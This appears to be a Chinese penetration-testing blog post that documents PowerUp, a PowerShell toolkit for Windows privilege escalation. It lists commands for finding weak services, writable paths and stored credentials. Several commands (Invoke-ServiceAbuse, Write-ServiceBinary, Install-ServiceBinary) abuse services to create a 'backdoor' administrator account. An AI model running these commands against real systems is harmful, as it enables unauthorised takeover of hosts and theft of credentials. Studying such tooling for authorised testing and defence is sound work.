PowerUp渗透模块
作者:互联网
简介
PowerUp是Privesc模块下的一个脚本,功能非常强大,拥有众多用来寻找目标主机Windows服务漏洞进行提权的实用脚本。
通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到无法通过内核漏洞提权所处服务器的情况,这个时候我们就需要通过脆弱的Windows服务提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权等等,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
Invoke-AllChecks
该模块会自动执行PowerUp下所有脚本来检车目标主机,输入以下命令即可执行该模块
Invoke-AllChecks
Find-PathDLLHijack
该模块用于检查当前%PATH%的哪些目录是用户可以写入的
Find-PathDLLHijack
Get-ApplicationHost
该模块可以利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码
Get-ApplicationHost
Get-ApplicationHost | Format-Table -Autosize #列表显示
Get-RegistryAlwaysInstallElevated
该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,意味着MSI文件是以SYSTEM权限运行的
Get-RegistryAlwaysInstallElevated
Get-RegistryAutoLogon
该模块用于检测Winlogin注册表的AutoAdminLogon项有没有被设置,可查询默认的用户名和密码
Get-RegistryAutoLogon
Get-ServiceDetail
该模块是用于返回某服务的信息
Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
Get-ServiceFilePermission
该模块是用于检查当前用户能够在哪些服务的目录写入相关联的可执行文件,我们可以通过这些文件实现提权。
Test-ServiceDaclPermission
该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可以修改,则返回该服务的对象
Test-ServiceDaclPermission
Get-ServiceUnquoted
该模块用于检查服务路径,返回包含空格但是不带引号的服务路径
此处利用了Windows的一个逻辑漏洞,即当文件包含空格时,Windows API会被解释为两个路径,并将这两个文件同时执行,有时可能会造成权限的提升,比如C:\program files\hello.exe会被解释为C:\program.exe和C:\program files\hello.exe
Get-ServiceUnquoted
Get-UnattendedInstallFile
该模块用于检查一下路径,查找是否存在这些文件,因为这些文件里可能含有部署凭据
- c:\sysprep\sysprep.xml
- c:\sysprep\sysprep.inf
- c:\sysprep.inf
- c:\windows\Panther\Unattended.xml
- c:\windows\Panther\Unattend\Unattended.xml
- c:\windows\Panther\Unattend.xml
- c:\windows\Panther\Unattend\Unattend.xml
- c:\windows\System32\Sysprep\unattend.xml
- c:\windows\System32\Sysprep\Panther\unattend.xml
Get-ModifiableRegistryAutoRun
该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径,被检查的注册表键值有以下这些:
HKLM\SOFTWARE\Microsoft\Windows\Current\Version\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Once
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
Get-ModifiableScheduledTaskFile
该模块用于返回当前用户能够修改的计划任务程序的名称和路径
Get-ModifiableScheduledTaskFile
Get-WebConfig
返回当前服务器上的web.config文件中的数据库连接字符串的明文
Invoke-ServiceAbuse
该模块通过修改服务来添加用户到指定组,并通过设置-cmd参数触发添加用户的自定义命令
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定添加域账号
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
Restore-ServiceBinary
该模块用于恢复服务的可执行文件到原始目录
Restore-ServiceBinary -ServiceName VulnSVC
Test-ServiceDaclPermission
检查某个用户是否在服务中有自由访问控制的权限,结果会返回True或False
Test-ServiceDaclPermission -ServiceName VulnSVC
Write-HijackDll
该模块用于输出一个自定义命令并且能够自我删除的bat文件到$env:Temp\debug.bat,并输出一个能够自动启动这个bat文件的DLL
Write-UserAddMSI
生成一个安装文件,运行这个安装文件后会弹出添加用户的对话框
Write-ServiceBinary
该命令用于预编译C#服务的可执行文件,默认创建一个管理员账号,可通过Command定制自己的命令
Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定添加域账号
Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组。
Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
Install-ServiceBinary
该模块通过Write-ServiceBinary写一个C#的服务用来添加用户
Install-ServiceBinary -ServiceName DHCP
Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john"
Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Write-ServiceBinary与Install-ServiceBinary不同的是,前者生成可执行文件,后者直接安装服务。
标签:PowerUp,Get,渗透,Windows,VulnSVC,ServiceName,模块,ServiceBinary 来源: https://blog.csdn.net/weixin_43749601/article/details/115055722